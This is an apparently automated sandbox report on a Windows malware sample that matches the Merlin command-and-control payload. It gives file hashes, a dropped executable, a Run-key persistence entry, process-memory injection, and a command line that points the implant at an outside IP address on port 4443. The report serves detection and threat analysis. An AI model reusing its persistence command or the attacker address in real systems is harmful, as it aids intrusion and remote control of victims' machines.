Analysis
-
max time kernel
130s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23-08-2024 00:08
Static task
static1
Behavioral task
behavioral1
Sample
2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
Resource
win10v2004-20240802-en
General
-
Target
2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
-
Size
16.9MB
-
MD5
c7bd4b9e418c201f25af07c424418f92
-
SHA1
6e0e2ce756d53511447b56f57a8d5f9c58f66dea
-
SHA256
1a490bdca46dce6160857063eb29df68d0605cba0ef9e5be4186910a228554ee
-
SHA512
27b3283ff3720ae8d94436048b659aae2ded4cd122a00f1caf6e737fadd4f3688e14177bc480f8b1a7eb342a8e9156295348140b74d235e49236b77b851fff11
-
SSDEEP
49152:CPSw9ndEUyBOCP8EehUfpoCghtqYDnI+5aK6XHRZ5uVx:zleOStftIZ
Malware Config
Signatures
-
Merlin payload 1 IoCs
resource yara_rule behavioral2/files/0x0008000000023625-2.dat family_merlin -
Executes dropped EXE 1 IoCs
pid Process 2324 hnqo.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExampleExe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hnqo.exe -url https://70.95.122.165:4443/" 2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2364 wrote to memory of 2324 2364 2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe 92 PID 2364 wrote to memory of 2324 2364 2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Users\Admin\AppData\Local\Temp\hnqo.exeC:\Users\Admin\AppData\Local\Temp\hnqo.exe -url https://70.95.122.165:4443/2⤵
- Executes dropped EXE
PID:2324
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4360,i,7447299413640964517,4240724842020506306,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:81⤵PID:772
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6.2MB
MD5af435b848f7979f05494b9c517362f26
SHA191458acd430dcf32ed1e161ae084f844868a972b
SHA256a509fc81910bc9e25a5fac4cbde6d99b54ea1cfecd8d58522f17a930fc342f20
SHA5127fc0cd37833254c530c85e8afd4289daffd332bf04b9f8bca8e9327faa4e67b913648c6a2e753bcb4d61134ff0b2534ff72e77dff3fe1fb7c20839015b5cd838